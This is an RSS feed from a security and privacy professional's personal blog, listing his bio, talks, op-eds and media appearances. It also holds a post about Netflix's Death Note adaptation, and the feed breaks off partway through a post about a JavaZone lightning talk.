<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Eivind Arvesen Blog RSS Feed]]></title><description><![CDATA[Eivind Arvesen's personal homepage.]]></description><link>https://eivindarvesen.com</link><generator>GatsbyJS</generator><lastBuildDate>Tue, 30 Dec 2025 23:39:06 GMT</lastBuildDate><item><title><![CDATA[About]]></title><description><![CDATA[I am a man with a passion for technology and the way it affects society. Some of my fields of interest include security, privacy, the web…]]></description><link>https://eivindarvesen.com/About</link><guid isPermaLink="false">https://eivindarvesen.com/About</guid><content:encoded>&lt;p&gt;I am a man with a passion for technology and the way it affects society. Some of my fields of interest include security, privacy, the web, machine learning, human–computer interaction and programming ethics.&lt;/p&gt;
&lt;p&gt;I currently work as Group Cyber Security Manager at &lt;a href=&quot;https://www.sectoralarm.com&quot;&gt;Sector Alarm&lt;/a&gt;.&lt;br /&gt;
Previously, I&apos;ve held roles such as tech lead, senior software developer and architect, head of security competency group, security champion, privacy resource and advisor.&lt;br /&gt;My Master&apos;s project was focused on using machine learning to automatically classify Alzheimer&apos;s disease in MRI.&lt;/p&gt;
&lt;p&gt;I specialize in security and privacy, and dabble in pentesting (I&apos;m currently working towards my OSCP). In my spare time, I compete in CTFs, write op-eds, and contribute to open source.&lt;br /&gt;In early 2020 I was part of an independent expert panel tasked with evaluating security and privacy in the Norwegian COVID-19 app.&lt;/p&gt;
&lt;p&gt;I&apos;m a regular public speaker, and have often taught infosec and appsec. I&apos;ve worked both in-house as well as a consultant, in both public and private sector organizations.&lt;br /&gt;I&apos;m also involved in my local OWASP Chapter.&lt;/p&gt;
&lt;!-- Advisory, public speaker, consult --&gt;
&lt;!--- If you want to collaborate on something, check out my list of [current interests](/current-interests) and [get in touch](mailto:eivind.arvesen@gmail.com)!&lt;br /&gt;
You can also check out my [scheduled appearences](/irl).--&gt;
&lt;!-- Reasonably up to date resumes can be found on [LinkedIn](https://www.linkedin.com/in/arvesen), or right here -- in [English](CV-Eivind-Arvesen-English.pdf) or [Norwegian](CV-Eivind-Arvesen-Norsk.pdf). --&gt;</content:encoded></item><item><title><![CDATA[IRL]]></title><description><![CDATA[Scheduled talks and appearances Title Event Time Materials Privacy Design Flaws JavaZone 2022 Sept. 8th 2022 Slides, Video Privacy Design…]]></description><link>https://eivindarvesen.com/irl</link><guid isPermaLink="false">https://eivindarvesen.com/irl</guid><content:encoded>&lt;h2&gt;Scheduled talks and appearances&lt;/h2&gt;
&lt;style&gt;thead, tr {border-bottom: 1px solid #dadada;}&lt;/style&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Title&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;th&gt;Time&lt;/th&gt;
&lt;th&gt;Materials&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Privacy Design Flaws&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://2022.javazone.no/#/program/acd0ced7-1e61-4ad1-ba94-c9285d69b339&quot;&gt;JavaZone 2022&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Sept. 8th 2022&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;pages/slides/Privacy-Design-Flaws-JavaZone-2022.pdf&quot;&gt;Slides&lt;/a&gt;, &lt;a href=&quot;https://vimeo.com/748031829&quot;&gt;Video&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Privacy Design Flaws&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.usenix.org/conference/pepr22/presentation/arvesen&quot;&gt;PEPR &apos;22 (2022 USENIX Conference on Privacy Engineering Practice and Respect)&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Jun. 23rd 2022&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;pages/slides/Privacy-Design-Flaws-PEPR22.pdf&quot;&gt;Slides&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=ujOvJg_cOsw&quot;&gt;Video&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;If at first you don’t succeed: Norway&apos;s two contact tracing apps&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://fpf.org/pepr21program/&quot;&gt;PEPR 2021 (Conference on Privacy Engineering Practice And Respect)&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Jun. 11th 2021&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;pages/slides/TwoApps-PEPR-2021.pdf&quot;&gt;Slides&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=ArU3jq5kevs&quot;&gt;Video&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Norway’s COVID-19 app&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://amsterdamsmartcity.com/events/how-to-get-people-to-actually-use-contact-tracing&quot;&gt;How to get People to use Contact Tracing Apps – Amsterdam Smart City)&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Sep. 3rd 2020&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;pages/slides/AmsterdamSmartCity-2020.pdf&quot;&gt;Slides&lt;/a&gt;, &lt;a href=&quot;https://youtu.be/-dRq4dfxokE?t=3039&quot;&gt;Video&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The Norwegian Blue: A lesson in Privacy Engineering&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://cryptovillage.org/dc28/&quot;&gt;Crypto &amp;#x26; Privacy Village: Glitched (at DEF CON 28: SAFE MODE)&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Aug. 7th 2020&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;pages/slides/DEFONCON-28-CPV-Smittestopp-2020.pdf&quot;&gt;Slides&lt;/a&gt;, &lt;a href=&quot;https://youtu.be/fvpWEzOOaRA?t=9663&quot;&gt;Video&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Browser Fingerprinting: Stalking with a Personal Touch&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://ndcoslo.com/talk/lightning-talks-4/&quot;&gt;NDC Oslo 2020&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Jun. 12th 2020&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;pages/slides/Browser-Fingerprinting-NDC-Oslo-2020.pdf&quot;&gt;Slides&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=kkyB0Pm9Yew&quot;&gt;Video&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;It&apos;s 10 PM. Do you know where your segments are?&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://2019.javazone.no/program/3f7cd8a7-a9ea-4874-a7dd-53166ada9f08&quot;&gt;JavaZone 2019&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Sep. 11th 2019&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;pages/slides/Segments-JavaZone-2019.pdf&quot;&gt;Slides&lt;/a&gt;, &lt;a href=&quot;https://vimeo.com/364735734&quot;&gt;Video&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.itdagene.no&quot;&gt;itDAGENE 2019&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Sep. 9th 2019&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Introduction&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.eventbrite.com/e/hacktoberfest-2018-oslo-tickets-51380719114&quot;&gt;Hacktoberfest 2018 – Oslo&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Oct. 26th 2018&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;pages/slides/Intro-Hacktoberfest-2018.pdf&quot;&gt;Slides&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LEAN-machine: Målbaserte utviklingsprosjekter (Norwegian)&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.sap-sbn.no/no/aktivitet/1399/innoteam-project-leadership&quot;&gt;InnoTeam: Project Leadership - SAP User Group Norway&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Apr. 23rd 2018&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;pages/slides/Lean-Machine-SAP-2018.pdf&quot;&gt;Slides&lt;/a&gt;, &lt;a href=&quot;https://vimeo.com/266161219&quot;&gt;Video&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DevOps og Lean Startup: Eksempler fra virkeligheten (Norwegian)&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.bouvet.no/kurs/kategorier/frokostseminarer/hva-er-devops&quot;&gt;Hva er DevOps?&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Mar. 2nd 2018&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;pages/slides/DevOps.pdf&quot;&gt;Slides&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A/B Testing with React&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.meetup.com/ReactJS-Oslo-Meetup/events/245723575/&quot;&gt;ReactJS Oslo Meetup&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Dec. 14th 2017&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/content/blog/2018/01/14/ABtesting.pdf&quot;&gt;Slides&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=Gxe_siWW-_A&quot;&gt;Video&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Published writings&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digi.no/artikler/debatt-personvern-den-brysomme-menneskeretten/522748&quot;&gt;Personvern: Den brysomme menneskeretten&lt;/a&gt; (Norwegian), October 6th 2022&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digi.no/artikler/debatt-vilkarlig-politiovervakning-undergraver-befolkningens-tillit/516205&quot;&gt;Vilkårlig politiovervåkning undergraver befolkningens tillit&lt;/a&gt; (Norwegian), January 4th 2022&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.morgenbladet.no/ideer/debatt/2021/05/05/en-leksjon-i-innebygd-personvern/&quot;&gt;En leksjon i innebygd personvern&lt;/a&gt; (Norwegian), May 5th 2021&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://morgenbladet.no/ideer/2021/04/ekspertforakt-og-historieforfalskning-i-personverndebatten&quot;&gt;Ekspertforakt og historieforfalskning i personverndebatten&lt;/a&gt; (Norwegian), April 19th 2021&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digi.no/artikler/debatt-e-sjefen-tviholder-pa-skylappene/508245&quot;&gt;– E-sjefen tviholder på skylappene&lt;/a&gt; (Norwegian), March 21st 2021&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.aftenposten.no/meninger/debatt/i/mBRlMv/personvernsverstingen-norge&quot;&gt;Personvernverstingen Norge?&lt;/a&gt; (Norwegian), October 20th 2020&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digi.no/artikler/kommentar-demokrati-er-viktigere-enn-etterretning/494356&quot;&gt;Demokrati er viktigere enn etterretning&lt;/a&gt; (Norwegian), June 17th 2020&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digi.no/artikler/kommentar-vi-fortjener-en-bedre-etterretningslov/491856&quot;&gt;Vi fortjener en bedre etteretningslov&lt;/a&gt; (Norwegian), May 12th 2020&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digi.no/artikler/kommentar-grenselost-forsvar-ureflektert-om-personvern-av-lysne/486449&quot;&gt;Grenseløst forsvar: – Ureflektert om personvern av Lysne&lt;/a&gt; (Norwegian), March 3rd 2020&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digi.no/artikler/kommentar-det-er-ingen-kontroll-pa-persondata/483577&quot;&gt;- Det er ingen kontroll på persondata&lt;/a&gt; (Norwegian), January 24th 2020&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.kode24.no/kodenytt/buttplug-hacking-og-andre-hoydepunkter-fra-def-con/71541770&quot;&gt;Buttplug-hacking og andre høydepunkter fra DEF CON&lt;/a&gt; (Norwegian), September 4th 2019&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.kode24.no/kodenytt/frykt-og-avsky-i-cyberspace/71508464&quot;&gt;Frykt og avsky i Cyberspace&lt;/a&gt; (Norwegian), August 22th 2019&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.cw.no/artikkel/sikkerhet/digitalt-grenseforsvar-samfunnet-behover-personvern&quot;&gt;Digitalt grenseforsvar – Samfunnet behøver personvern&lt;/a&gt; (Norwegian), April 2nd 2019&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nrkbeta.no/2019/02/18/regjeringens-forklaringsproblem/&quot;&gt;Regjeringens forklaringsproblem&lt;/a&gt; (Norwegian), February 18th 2019&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digi.no/artikler/debatt-ubalanse-mellom-sikkerhetsillusjoner-og-personvern/454439&quot;&gt;Ubalanse mellom sikkerhetsillusjoner og personvern&lt;/a&gt; (Norwegian), December 27th 2018&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digi.no/artikler/debatt-digitalt-grensebesvaer/452183&quot;&gt;Digitalt grensebesvær&lt;/a&gt; (Norwegian), November 28th 2018&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Documents&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;DND sitt høringssvar: &quot;Høring - Endringer i politiloven og politiregisterloven mv. – PSTs etterretningsoppdrag og behandling av åpent tilgjengelig informasjon&quot; (Norwegian) &lt;a href=&quot;https://www.regjeringen.no/no/dokumenter/horing-endringer-i-politiloven-og-politiregisterloven-mv.-psts-etterretningsoppdrag-og-behandling-av-apent-tilgjengelig-informasjon.pdf/id2874615/?uid=8644879a-387d-4532-8e4d-044430a89f0b&quot;&gt;PDF&lt;/a&gt; January 7th 2022&lt;/li&gt;
&lt;li&gt;EFN sitt høringssvar: &quot;Høring - Endringer i politiloven og politiregisterloven mv. – PSTs etterretningsoppdrag og behandling av åpent tilgjengelig informasjon&quot; (Norwegian) &lt;a href=&quot;https://www.regjeringen.no/no/dokumenter/horing-endringer-i-politiloven-og-politiregisterloven-mv.-psts-etterretningsoppdrag-og-behandling-av-apent-tilgjengelig-informasjon.pdf/id2874615/?uid=2110da6e-a0f8-4f62-9700-0a54425e4ee1&quot;&gt;PDF&lt;/a&gt; January 7th 2022&lt;/li&gt;
&lt;li&gt;Tekna sitt høringssvar: &quot;Høring - Endringer i politiloven og politiregisterloven mv. – PSTs etterretningsoppdrag og behandling av åpent tilgjengelig informasjon&quot; (Norwegian) &lt;a href=&quot;https://www.regjeringen.no/no/dokumenter/horing-endringer-i-politiloven-og-politiregisterloven-mv.-psts-etterretningsoppdrag-og-behandling-av-apent-tilgjengelig-informasjon.pdf/id2874615/?uid=0830fda0-fb1d-4783-aa16-ad85fb00d998&quot;&gt;PDF&lt;/a&gt; January 5th 2022
– Tekna&apos;s hearing statement: &quot;Hearing – Amendments to the Police Act and the Police Register Act, etc. - PST&apos;s intelligence mission and processing of openly available information&quot;&lt;/li&gt;
&lt;li&gt;Risikovurdering Av Koronasertifikat, Trinn 4., Risk assessment of Corona Certificate, Step 4, June 24th 2021 [&lt;a href=&quot;https://www.fhi.no/contentassets/4ab78f0980414536a955eea0c7f7cb6f/2021-07-05ros_koronasertifikat_trinn_4_offentlig_versjon.pdf&quot;&gt;PDF&lt;/a&gt;] (Norwegian)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Endelig rapport for kildekodegjennomgang av løsning for digital smittesporing av koronaviruset&lt;/em&gt;, Final public report on Norwegian contact tracing app, May 20th 2020 [&lt;a href=&quot;https://www.regjeringen.no/contentassets/88ec3360adae44a1a9635fd6c1a58fca/200520_rapport_ekspertgruppa_smittestopp.pdf&quot;&gt;PDF&lt;/a&gt;] (Norwegian)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Foreløpig rapport for kildekodegjennomgang av løsning for digital smittesporing av koronaviruset&lt;/em&gt;, Preliminary public report on Norwegian contact tracing app, April 10th 2020 [&lt;a href=&quot;https://www.regjeringen.no/globalassets/departementene/hod/fellesdok/rapporter/200409_forelppig_rapport_ekspertgruppe_sporingsapp.pdf&quot;&gt;PDF&lt;/a&gt;] (Norwegian)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Neural Network Tools: An Overview&lt;/em&gt;, For use in the Masters course in Machine Learning at &lt;a href=&quot;https://www.hiof.no/english/&quot;&gt;HIOF&lt;/a&gt;, March 17th 2015 [&lt;a href=&quot;pages/pages/pages/pages/documents/Eivind_NN_Overview.pdf&quot;&gt;Paper&lt;/a&gt;]&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;In the Media&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.kode24.no/artikkel/historien-om-smittestopp-fra-innsida-personvern-handler-om-tekniske-valg/77012938&quot;&gt;Historien om Smittestopp, fra innsida: - Personvern handler om tekniske valg&lt;/a&gt; (Norwegian), August 30th 2022&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nrkbeta.no/2021/09/02/du-kan-spores-i-det-skjulte-av-hodetelefonene-dine/&quot;&gt;Du kan spores i det skjulte av hodetelefonene dine&lt;/a&gt; (Norwegian), September 2nd 2021&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://e24.no/privatoekonomi/i/OQde5l/it-eksperter-kritiske-til-renterobot&quot;&gt;IT-eksperter kritiske til renterobot&lt;/a&gt; (Norwegian), April 17th 2021&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cnet.com/news/covid-contact-tracing-apps-bring-privacy-pitfalls-around-the-world/&quot;&gt;COVID contact tracing apps bring privacy pitfalls around the world&lt;/a&gt;, August 8th 2020&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sciencenorway.no/epidemic-society-and-culture-technology/norways-coronavirus-tracing-app-halted-by-data-protection-authority--too-invasive-and-not-useful/1699843&quot;&gt;Norway’s coronavirus tracing app halted by Data Protection Authority – too invasive and not useful&lt;/a&gt;, June 16th 2020&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digi.no/artikler/eksperter-innen-teknologi-sikkerhet-og-personvern-har-signert-opprop-mot-e-loven/493881&quot;&gt;Eksperter innen teknologi, sikkerhet og personvern har signert opprop mot e-loven&lt;/a&gt; (Norwegian), June 10th 2020&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://itavisen.no/2020/06/10/kjemper-mot-den-nye-masselagringsloven/&quot;&gt;De kjemper mot den nye masselagringsloven&lt;/a&gt; (Norwegian), June 10th 2020&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://privacyinternational.org/examples/3909/experts-find-privacy-and-security-issues-norwegian-contact-tracing-app&quot;&gt;Experts find privacy and security issues in Norwegian contact tracing app&lt;/a&gt;, May 20th 2020&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dagensmedisin.no/artikler/2020/04/08/skal-gjennomga-kildekode-for-smittesporings-app-fra-fhi/&quot;&gt;Skal gjennomgå kildekoden til smittesporings-app fra FHI&lt;/a&gt; (Norwegian), April 8th 2020&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.regjeringen.no/no/aktuelt/ekspertgruppe/id2697068/&quot;&gt;Ekspertgruppe skal gå gjennom kildekoden i ny app for smittesporing&lt;/a&gt; (Norwegian), April 8th 2020&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.f-b.no/nyheter/nyheter/vil-vise-vei-i-utelivet/s/2-2.952-1.7459917&quot;&gt;Vil vise vei i utelivet&lt;/a&gt; (Norwegian), July 27th 2012&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Various presentations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;AppSec 101&lt;/em&gt;, Customer Training, November 7th 2019 [&lt;a href=&quot;pages/slides/AppSec-101-Project-2019.pdf&quot;&gt;Slides&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Cleave&lt;/em&gt; (Norwegian), Bouvet One, October 30th 2019 [&lt;a href=&quot;pages/slides/Cleave-BouvetOne-October-2019.pdf&quot;&gt;Slides&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;em&gt;WarGames&lt;/em&gt; (Norwegian), Bouvet One, October 30th 2019 [&lt;a href=&quot;pages/slides/Wargames-BouvetOne-October-2019.pdf&quot;&gt;Slides&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Introduction&lt;/em&gt;, Hacktoberfest 2019 – Oslo, October 18th 2019 [&lt;a href=&quot;pages/slides/Intro-Hacktoberfest-2019.pdf&quot;&gt;Slides&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Hypotese- og Måldrevet Utvikling&lt;/em&gt; (Norwegian), Bouvet Customer Workshop, September 5th 2019 [&lt;a href=&quot;pages/slides/LeanDevelopment-2019.pdf&quot;&gt;Slides&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;em&gt;WarGames&lt;/em&gt; (Norwegian), Bouvet One, November 1st 2018 [&lt;a href=&quot;pages/slides/Wargames-BouvetOne-November-2018.pdf&quot;&gt;Slides&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;em&gt;GDPR og Sletting – Hvor går grensen?&lt;/em&gt; (Norwegian), Bouvet One, November 1st 2018 [&lt;a href=&quot;pages/slides/GDPR-og-Sletting-BouvetOne-November-2018.pdf&quot;&gt;Slides&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Crash Course in Open Source&lt;/em&gt;, Hacktoberfest 2018 – Oslo, October 26th 2018 [&lt;a href=&quot;pages/slides/Open-Source-Hacktoberfest-2018.pdf&quot;&gt;Slides&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Web Security and Capture the Flag&lt;/em&gt;, Bouvet Play, September 8th 2018 [&lt;a href=&quot;pages/slides/Websec-CTF-Play-2018.pdf&quot;&gt;Slides&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;em&gt;React and Redux – A Workshop&lt;/em&gt;, Bouvet Workshop, August 23 2018, September 5 2018, September 20th 2018 [&lt;a href=&quot;pages/slides/React-Redux-Workshop-2018.pdf&quot;&gt;Slides&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Electron is bad and you should feel bad&lt;/em&gt; (Norwegian), Bouvet One, March 22nd 2018 [&lt;a href=&quot;pages/slides/Electron-BouvetOne-March-2018.pdf&quot;&gt;Slides&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Lean Machine: Målbasert utvikling&lt;/em&gt; (Norwegian), Bouvet One, March 22nd 2018 [&lt;a href=&quot;pages/slides/Lean-BouvetOne-March-2018.pdf&quot;&gt;Slides&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Go f**k yourself: How deepfakes ruined everything&lt;/em&gt; (Norwegian), Bouvet One, March 22nd 2018 [&lt;a href=&quot;pages/slides/DeepFakes-BouvetOne-March-2018.pdf&quot;&gt;Slides&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/watch?v=DQjLSQnEkq4&quot;&gt;Video&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Hypotese- og Målbasert Utvikling&lt;/em&gt; (Norwegian), Bouvet Fagfrokost, November 22nd 2017 [&lt;a href=&quot;/content/blog/2017/12/05/GoalDrivenDevelopment.pdf&quot;&gt;Slides&lt;/a&gt;]&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Transfer Learning: Gjenbruk av kunnskap i Maskinlæringsmodeller&lt;/em&gt; (Norwegian), Bouvet One, October 18th 2017 [&lt;a href=&quot;/content/blog/2017/10/23/TransferLearning.pdf&quot;&gt;Slides&lt;/a&gt;]&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Deathflix]]></title><description><![CDATA[Turns out Netflix is making a westernized English language adaptation of the hugely popular manga (and later anime series) Death Note, which…]]></description><link>https://eivindarvesen.com/blog/2017/03/30/deathflix</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2017/03/30/deathflix</guid><content:encoded>&lt;p&gt;Turns out Netflix is making a westernized English language adaptation of the hugely popular manga (and later anime series) &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Death_Note&quot;&gt;Death Note&lt;/a&gt;&lt;/em&gt;, which will be released on August 25th.&lt;/p&gt;
&lt;p&gt;For those that don&apos;t know, Death Note is basically a psychological thriller about japanese teenager Light Yagami, who comes across a notebook that was dropped into this world by a shinigami (death god) called Ryuk.&lt;/p&gt;
&lt;p&gt;Discovering that the notebook kills anybody whose name is written in it, Light starts to see himself as a god and tries to create his idea of a perfect world by killing those he deems unworthy (e.g. criminals). Under the pseudonym &lt;em&gt;Kira&lt;/em&gt; (derived from the Japanese pronunciation of the word &quot;killer&quot;), he starts to communicate to the public about his actions and intentions, and is soon investigated and hunted by authorities.&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://www.youtube.com/embed/zS9UW2xjdqE&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;p&gt;Apparently, this movie will be set in Seattle and feature a predominantly white cast - presumably in an attempt to appeal to western audiences - and feature Nat Wolff as Light Turner (née Yagami).&lt;/p&gt;
&lt;p&gt;Much like the upcoming live action &lt;em&gt;Ghost in the Shell&lt;/em&gt; movie, it&apos;s in hot water even before its release.&lt;/p&gt;
&lt;p&gt;There is a already a petition to boycot the film over its alleged &lt;a href=&quot;https://en.wikipedia.org/wiki/Whitewashing_in_film&quot;&gt;whitewashing&lt;/a&gt;, with just below 14 000 signatories at present.&lt;/p&gt;
&lt;p&gt;I for one hope this doesn&apos;t just turn into a &quot;gritty&quot; reboot-o-rama with a semi-industrial soundtrack and bass drop-centered slow-mo action sequences featuring an edgy emo kid - ignoring the moral and intellectual themes of the source material.&lt;/p&gt;
&lt;p&gt;Willem Dafoe will probably be awesome as the &lt;a href=&quot;http://www.imdb.com/title/tt1241317/fullcredits/&quot;&gt;voice of Ryuk&lt;/a&gt;, though.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[JavaZone, baby!]]></title><description><![CDATA[Just as I got back home from running the Holmenkollen relay race with our team from work this past saturday, I checked my email – to find…]]></description><link>https://eivindarvesen.com/blog/2019/05/15/javazone-baby</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2019/05/15/javazone-baby</guid><content:encoded>&lt;p&gt;Just as I got back home from running the &lt;a href=&quot;https://holmenkollstafetten.no/en/&quot;&gt;Holmenkollen relay race&lt;/a&gt; with our team from work this past saturday, I checked my email – to find out that my lightning talk was accepted to this years JavaZone!&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.javazone.no/&quot;&gt;JavaZone&lt;/a&gt;, if you don&apos;t know, is the largest software development conference in Norway.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/bdce0e76768e477c6105c2d309dbc47a/ec605/mail.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
